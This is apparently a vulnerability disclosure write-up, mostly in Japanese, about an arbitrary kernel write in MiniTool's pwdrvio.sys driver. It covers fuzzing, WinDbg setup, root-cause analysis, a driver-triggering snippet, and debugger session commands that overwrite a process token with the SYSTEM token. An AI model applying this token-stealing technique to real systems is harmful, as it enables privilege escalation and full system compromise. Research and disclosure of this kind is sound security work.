
プロジェクト日付: 2026年2月 / MiniToolのカーネルドライバ内のメモリ破壊の脆弱性。デバッガ支援による任意のカーネル書き込みプリミティブを示し、権限昇格に悪用される可能性があります。
MiniTool のカーネルドライバ pwdrvio.sys 内におけるカーネル write-what-where 状態。特権昇格に悪用可能なデバッガ支援型の任意カーネル書き込みプリミティブを実証します。
https://github.com/user-attachments/assets/ac81d7ce-0be7-40a5-9334-c54350e6e30e
任意カーネル書き込み → ローカル特権昇格 (LPE)
深刻度: 高
CVSS 3.1 スコア: 7.8 (LPE)
CVSS ベクター文字列:
LPE: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
攻撃の前提条件:
悪用結果: LPE - デバッガ支援型の特権昇格を実証 (NT AUTHORITY / SYSTEM)、システム全体の完全な侵害
日付: 2026年2月5日
活動: カスタム Python ファザーを使用した体系的なカーネルドライバのファジング
発見プロセス:
ターゲットの選択:
pwdrvio.sys を最古のドライバとして特定 (タイムスタンプ: 2009年6月16日)C:\Windows\System32\drivers\pwdrvio.sys\\.\PartitionWizardDiskAccesser\0初期ファジング:
ctypes を使用してドライバとインターフェースする Python ファザーを開発WriteFile/DeviceIoControl を介してドライバデバイスにランダムデータを送信Verifier の有効化:
Verifier 設定: ```
Verifier Flags: 0x001209bb
Standard Flags Enabled:
[X] Special pool
[X] Force IRQL checking
[X] Pool tracking
[X] I/O verification
[X] Deadlock detection
[X] DMA checking
[X] Security checks
[X] Miscellaneous checks
[X] DDI compliance checking
### WinDbg カーネルデバッグのセットアップ
**日付:** 2026年2月5日〜6日
**アクティビティ:** 根本原因分析のためのカーネルデバッグ環境を構築
**セットアップ手順:**
1. **VMwareシリアルポートの設定:** ```
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
ゲストOSの設定: ```cmd REM Administrator Command Prompt bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 shutdown /r /t 0
ホスト WinDbg 接続: ``` WinDbg → File → Attach to Kernel ├─ Port: \.\pipe\com_1 ├─ Baud Rate: 115200 ├─ Pipe: ✓ └─ Reconnect: ✓
Result: "Kernel Debugger connection established."
日期: 2026年2月6日
活动: 识别出任意内核写入原语
分析步骤:
模块分析: ```
1: kd> lm m pwdrvio
start end module name
fffff805315f0000 fffff805315f8000 pwdrvio (Jun 16 2009)
1: kd> !drvobj pwdrvio 2 Driver object (fffff805`XXXXXXXX) is for: \Driver\pwdrvio
DriverEntry: fffff805315f6008 DriverUnload: fffff805315f1060
Dispatch Routines:
[00] IRP_MJ_CREATE fffff805315f108c [02] IRP_MJ_CLOSE fffff805315f12f8
[03] IRP_MJ_READ fffff805315f16c4 [04] IRP_MJ_WRITE fffff805315f1564 ← Target
[0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404
脆弱な命令の発見:
書き込みハンドラにブレークポイントを設定: ``` 1: kd> bp pwdrvio+0x1641 1: kd> g
Breakpoint 0 hit pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax
重大な発見: 任意書き込みプリミティブが特定されました!
RAX)をアドレス[R11-0x10]に書き込みますR11はスタックフレームからロードされます: mov r11, qword ptr [rbp+0xB8h]レジスタ状態の分析: ``` 0: kd> r rax=fffff805315f1364 ← Kernel code pointer r11=ffffe60f84c38750 ← Destination address (controlled via stack) rbp=ffffe60f84c38610 ← IRP stack frame
0: kd> dq @rbp+0xB8 L1
ffffe60f84c386c8 ffffe60f84c38750 ← R11 loaded from here
日付: 2026年2月6日〜7日
活動: Use-After-Freeからwrite-what-where条件までの脆弱性を追跡
メモリ破壊チェーン:
IRP割り当て: ``` 0: kd> !pool @rbp Pool page ffffe60f84c38610 region is Special pool *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+ Pooltag Irp+ : I/O verifier allocated IRP packets
バッファの関係: ``` 0: kd> r rsi rsi=ffffe60f828df900 ← User buffer location
0: kd> ? @rbp - @rsi Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!
分析: ユーザーバッファはRBPフレームから直接アクセスできない
RBP+0xB8オフセットはユーザー制御のバッファを指していないUse-After-Free状態:
ドライバはIRP構造体内にダングリングポインタを保持している: ```c // Ghidra decompilation (pwdrvio+0x1564) longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP
// No validation! lVar5 = IoBuildAsynchronousFsdRequest(...);
// Write to [lVar1 - 0x10] *(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!
日付: 2026年2月7日〜8日
活動: トークンスティーリング技術の開発
悪用戦略:
目的: 現在のプロセストークンをSYSTEMトークンで上書きする
Windows EPROCESS構造:``` +0x000 Pcb : _KPROCESS ... +0x4b8 Token : _EX_FAST_REF ← Token pointer location
**トークン窃取手順:**
1. **SYSTEMプロセスを特定する:** ```
0: kd> !process 4 0
PROCESS ffffe7875ac86200
SessionId: none Cid: 0004 Peb: 00000000
Image: System
0: kd> dq ffffe7875ac86200+4b8 L1
ffffe787`5ac866b8 ffffc08e`6642f04f ← SYSTEM token value
攻撃者プロセスを特定する: ``` 0: kd> !process 0 0 poc1.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Image: poc1.exe
0: kd> dq ffffe78760150080+4b8 L1
ffffe78760150538 ffffc08e6c37a066 ← Standard user token
ターゲットアドレスの計算: ``` Target = TokenPointer + 0x10 = 0xffffe78760150538 + 0x10 = 0xffffe78760150548
Reason: Instruction uses [R11-0x10], so: (Target + 0x10) - 0x10 = Target
トークン上書きの実行: ``` 0: kd> r rax = ffffc08e6642f04f ; SYSTEM token 0: kd> r r11 = ffffe78760150548 ; Target address 0: kd> p ; Execute: mov [r11-10h],rax
0: kd> dq ffffe78760150538 L1 ; Verify
ffffe78760150538 ffffc08e6642f04f ← Token successfully changed!
実行の復元: ``` 0: kd> r rip = pwdrvio + 165f ; Skip to safe return 0: kd> r eax = 0 ; Return success 0: kd> bc * ; Clear breakpoints 0: kd> g ; Continue execution
結果: プロセスがSYSTEM権限を取得しました!
場所: pwdrvio.sys オフセット 0x1641
アセンブリ:```assembly
pwdrvio+0x1633: mov r11, qword ptr [rbp+0xB8h] ; Load pointer from IRP
pwdrvio+0x1641: mov qword ptr [r11-10h], rax ; Arbitrary write!
**トリガーメカニズム:**```c
HANDLE hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
char buffer[0x100];
DWORD bytesReturned;
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);
悪用の制限事項:
この脆弱性は、確実な悪用のためにカーネルデバッグツールが必要です。その理由は以下のとおりです。
レジスタ制御の課題:
R11 は [RBP+0xB8] からロードされるRBP はカーネルプール内の IRP スタックフレームを指す[RBP+0xB8] を直接制御することはできないプールメモリレイアウト: ``` RBP (IRP frame): 0xffffe60f84c38610 User buffer: 0xffffe60f828df900 Difference: 35,823,344 bytes (35 MB)
必要な手動介入:
R11レジスタをターゲットアドレスに設定RAXレジスタをSYSTEMトークン値に設定